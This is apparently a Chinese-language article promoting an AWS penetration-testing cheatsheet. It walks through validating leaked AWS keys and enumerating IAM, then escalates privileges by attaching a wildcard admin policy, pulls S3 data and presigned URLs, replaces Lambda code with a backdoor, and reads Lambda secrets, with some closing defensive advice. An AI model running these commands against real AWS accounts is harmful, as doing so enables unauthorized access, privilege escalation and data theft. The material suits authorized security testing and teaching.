AWSome-Pentesting完全指南：从AWS密钥获取到云安全漏洞利用的终极手册

【免费下载链接】AWSome-PentestingMy cheatsheet notes to pentest AWS infrastructure项目地址: https://gitcode.com/gh_mirrors/aw/AWSome-Pentesting

AWSome-Pentesting是一份全面的AWS渗透测试指南，旨在帮助安全测试人员了解AWS配置错误及其利用方法。本文将从AWS密钥获取开始，逐步深入云安全漏洞的识别与利用，为新手和普通用户提供简单易懂的操作指南。

一、AWS渗透测试必备工具清单 🛠️

进行AWS渗透测试前，需准备以下核心工具，这些工具能帮助你高效完成安全评估与漏洞利用：

• Scout Suite：AWS安全健康检查工具，全面扫描账户配置漏洞
• Pacu：AWS专用渗透测试框架，支持权限提升和横向移动
• SkyArk：发现AWS基础设施中权限最高的用户
• Boto3：Python AWS SDK，用于编写自定义AWS操作脚本
• AWS Consoler：将AWS凭证转换为控制台访问权限

安装提示：通过官方仓库获取最新版本，例如使用git clone https://gitcode.com/gh_mirrors/aw/AWSome-Pentesting获取项目后，可参考工具文档进行配置。

二、AWS密钥获取与初始访问 🔑

2.1 常见密钥泄露场景

AWS密钥通常通过以下途径泄露，渗透测试时需重点检查：

• 开发人员GitHub仓库中的硬编码凭证
• 不安全的CI/CD管道配置
• 被入侵的开发机器
• 钓鱼攻击获取的凭证

2.2 验证凭证有效性

获取疑似AWS密钥后，首先使用以下命令验证其有效性：

aws configure # 输入Access Key ID和Secret Access Key aws sts get-caller-identity # 验证身份并获取账户信息

成功返回账户ID、用户ID和ARN信息，表明凭证有效且具有基本访问权限。

三、IAM权限枚举与漏洞识别 🔍

IAM（身份与访问管理）是AWS安全的核心，错误配置的IAM策略往往导致严重安全风险。

3.1 基础权限枚举命令

3.2 高危权限识别

特别关注具有以下权限的用户/角色，这些通常是权限提升的关键：

• iam:AttachUserPolicy：可附加管理员策略到用户
• iam:CreateAccessKey：能创建新的访问密钥
• iam:PassRole+ec2:RunInstances：允许启动具有高权限角色的EC2实例
• lambda:UpdateFunctionCode：可修改Lambda函数代码实现RCE

四、实战权限提升案例 💥

4.1 利用PutUserPolicy实现权限提升

当用户拥有iam:PutUserPolicy权限时，可直接为自己附加管理员权限：

1. 创建管理员策略文档（AdminPolicy.json）：

{ "Version": "2012-10-17", "Statement": [{ "Effect": "Allow", "Action": "*", "Resource": "*" }] }

2. 附加策略到当前用户：

aws iam put-user-policy --user-name <当前用户名> --policy-name AdminPolicy --policy-document file://AdminPolicy.json

3. 验证权限提升结果：

aws iam list-user-policies --user-name <当前用户名> # 确认策略已添加 aws s3 ls # 测试是否获得S3访问权限

五、S3存储桶安全漏洞利用 ☁️

S3存储桶是AWS中最常见的云存储服务，也是配置错误的重灾区。

5.1 存储桶枚举命令

aws s3api list-buckets # 列出账户所有存储桶 aws s3api get-bucket-acl --bucket <桶名> # 查看存储桶访问控制列表 aws s3api list-objects --bucket <桶名> # 列出桶内对象

5.2 常见存储桶漏洞利用

公开访问存储桶

直接通过URL访问：

https://<桶名>.s3.<区域>.amazonaws.com/<文件名>

权限过高的存储桶

使用AWS CLI下载敏感文件：

aws s3api get-object --bucket <桶名> --key <文件路径> <本地保存路径>

生成临时访问URL

即使存储桶非公开，也可生成带时效的访问链接：

aws s3 presign s3://<桶名>/<文件路径> --expires-in 3600 # 生成1小时有效的URL

六、Lambda与API Gateway安全风险 ⚡

Lambda无服务器函数和API Gateway常被忽视，却可能成为云环境入侵的跳板。

6.1 Lambda枚举关键命令

aws lambda list-functions # 列出所有Lambda函数 aws lambda get-function --function-name <函数名> # 获取函数详情（含源码下载链接） aws apigateway get-rest-apis # 列出所有API Gateway实例

6.2 常见攻击场景

代码注入与RCE

通过修改Lambda函数代码实现远程命令执行：

aws lambda update-function-code --function-name <函数名> --zip-file fileb://backdoor.zip

环境变量泄露

Lambda函数常在环境变量中存储密钥，可通过以下方式获取：

aws lambda get-function-configuration --function-name <函数名>

七、AWS安全最佳防御实践 🛡️

为保护AWS环境安全，建议实施以下防御措施：

1. 最小权限原则：仅为用户分配必要权限，定期审查并移除过度权限
2. 启用MFA：为所有IAM用户，尤其是管理员账户启用多因素认证
3. 安全监控：部署CloudTrail、GuardDuty等服务监控异常活动
4. 密钥轮换：定期轮换访问密钥，避免长期使用同一凭证
5. 基础设施即代码审计：使用terraform等工具管理AWS资源，并进行安全审计

八、总结与后续学习 📚

AWSome-Pentesting提供了AWS渗透测试的完整方法论，从初始访问到权限提升，再到数据泄露，涵盖了云安全的关键环节。建议结合实际AWS环境进行练习，同时关注AWS官方安全公告和最新漏洞研究。

深入学习资源：参考项目中的AWSome-Pentesting-Cheatsheet.md获取更详细的命令和攻击场景。

通过持续学习和实践，你将能够有效识别并防御AWS云环境中的安全风险，保护组织的关键数据资产。

【免费下载链接】AWSome-PentestingMy cheatsheet notes to pentest AWS infrastructure项目地址: https://gitcode.com/gh_mirrors/aw/AWSome-Pentesting